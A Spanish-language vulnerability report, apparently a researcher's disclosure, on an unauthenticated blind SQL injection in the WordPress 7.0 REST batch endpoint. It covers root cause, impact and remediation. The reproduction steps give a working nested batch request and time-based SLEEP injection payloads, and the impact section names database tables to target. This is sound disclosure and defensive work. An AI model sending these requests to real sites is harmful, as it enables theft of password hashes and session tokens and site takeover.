Resumen
El endpoint de procesamiento por lotes de la REST API de WordPress (/wp-json/batch/v1) era vulnerable a una inyección SQL ciega sin autenticación. Anidando una petición batch cuidadosamente construida, un atacante provocaba una desincronización en el reparto de rutas (route dispatch) que hacía que una cadena controlada por el usuario esquivase el saneamiento de parámetros y llegase sin filtrar a una cláusula SQL NOT IN (...). No hacían falta credenciales, cookies ni tokens de ningún tipo.
El sistema afectado ejecutaba WordPress 7.0. Las versiones corregidas indicadas por el investigador son 7.0.2 o superior, 6.9.5 o superior y 6.8.6 o superior.
Causa raíz
El fallo nace de la combinación de dos defectos que se encadenan:
- Desincronización del índice en el reparto por lotes. Cuando la ruta de una subpetición falla al pasar por
parse_url(), el resultado de error no se añade al array interno$matches, pero el bucle de reparto incrementa igualmente su índice. El efecto es que la subpetición N acaba ejecutándose con el manejador (handler) registrado para la subpetición N+1.
- Falta de comprobación de tipo en
author__not_in.WP_Querycompruebaif (! empty($q['author__not_in']))pero no verifica que el valor sea un array. Cuando llega un valor de tipo cadena (a través de la ruta desincronizada), se salta la conversiónabsint()que debería aplicarse a cada elemento y la cadena se concatena directamente en la consulta SQL:
``sql AND wp_posts.post_author NOT IN ( <controlado por el atacante> ) ``
Al incrustar una segunda capa batch dentro del cuerpo de un POST /wp/v2/categories, las subpeticiones internas se reparten con los manejadores desplazados, de modo que un GET /wp/v2/categories?author_exclude=<SQLI> termina ejecutándose como una consulta de entradas (posts) con la inyección sin filtrar.
Pasos de reproducción
Paso 1 — Identificar la versión
GET /feed/ HTTP/1.1
Host: <objetivo>
La respuesta contenía:
<generator>https://wordpress.org/?v=7.0</generator>
Confirmando WordPress 7.0, una versión afectada.
Paso 2 — Confirmación estructural (no destructiva)
POST /wp-json/batch/v1 HTTP/1.1
Host: <objetivo>
Content-Type: application/json
{"validation":"normal","requests":[
{"path":":","method":"POST"},
{"path":"/wp/v2/categories","method":"POST","body":{
"name":"x","requests":[
{"path":":","method":"GET"},
{"path":"/wp/v2/categories?author_exclude=1","method":"GET"},
{"path":"/wp/v2/posts","method":"GET"}
]}},
{"path":"/batch/v1","method":"POST"}
]}
Respuesta (HTTP 207):
[0] status=400 code=parse_path_failed ← la ruta inválida ":" provoca la desincronización
[1] status=207 → SOBRE DE BATCH ANIDADO ← confusión de rutas confirmada
[0] status=400 code=parse_path_failed
[1] status=200 → 10 entradas devueltas ← author__not_in=1 llegó a la base de datos
[2] status=500 code=rest_invalid_handler
[2] status=400 code=rest_batch_not_allowed
El array "responses" anidado (batch dentro de batch) con los marcadores parse_path_failed demuestra que la desincronización del reparto se produjo. Un servidor parcheado devuelve un sobre plano con rest_cannot_create.
Paso 3 — Confirmación por tiempos (inyección basada en retardo)
Punto de inyección: author_exclude=1) OR SLEEP(N)-- -
Es la misma petición del paso 2, sustituyendo author_exclude=1 por cada uno de los siguientes payloads:
| Payload | Tiempo de respuesta | HTTP | Observaciones | |---|---|---|---| | 1 (línea base) | 0,46 s | 207 | Sin función SQL | | 1) OR SLEEP(0)-- - | 0,49 s | 207 | SQL interpretado, retardo cero | | 1) OR SLEEP(0)-- - (repetición) | 0,54 s | 207 | Línea base consistente | | 1) OR SLEEP(0.01)-- - | 9,12 s | 207 | ~860 filas × 0,01 s | | 1) OR SLEEP(0.3)-- - | >30 s | timeout | ~860 filas × 0,3 s | | 1) OR SLEEP(3)-- - | >60 s | timeout | ~860 filas × 3 s |
La diferencia entre SLEEP(0) (0,5 s) y SLEEP(0.01) (9,1 s) —misma estructura SQL, cambiando solo la constante de retardo— prueba que la función inyectada se ejecuta en el motor MySQL. La multiplicación por fila (~860 entradas coincidentes) confirma que la inyección ocurre dentro de la evaluación del conjunto de resultados de un WP_Query.
El investigador remarca que todas las pruebas fueron no destructivas: detección estructural con un valor benigno (1), oráculo de tiempos con SLEEP y huella de versión a partir de metadatos públicos. No se extrajo contenido de la base de datos ni se accedió a datos personales.
Impacto
Un atacante sin autenticar podía leer cualquier dato accesible por la cuenta de base de datos de WordPress:
wp_users: hashes de contraseñas → crackeo offline → toma de control de cuentas de administrador.wp_usermeta: tokens de sesión y contraseñas de aplicación → secuestro directo de sesión.wp_options: claves de API, secretos de plugins y configuración del sitio.- En instalaciones donde la cuenta MySQL dispone del privilegio
FILEcon acceso al webroot, el fallo escala a ejecución remota de código medianteSELECT ... INTO OUTFILE.
Todo ello sin autenticación previa, lo que motivó la calificación de severidad crítica.
Remediación
- Actualizar WordPress a la última versión parcheada (7.0.2+ / 6.9.5+ / 6.8.6+).
- Como medida provisional, bloquear las peticiones
POSTsin autenticar a/wp-json/batch/v1y a/?rest_route=/batch/v1en el proxy inverso o el WAF. - Auditar y restringir los privilegios de la cuenta MySQL, revocando
FILEsi lo tuviera concedido.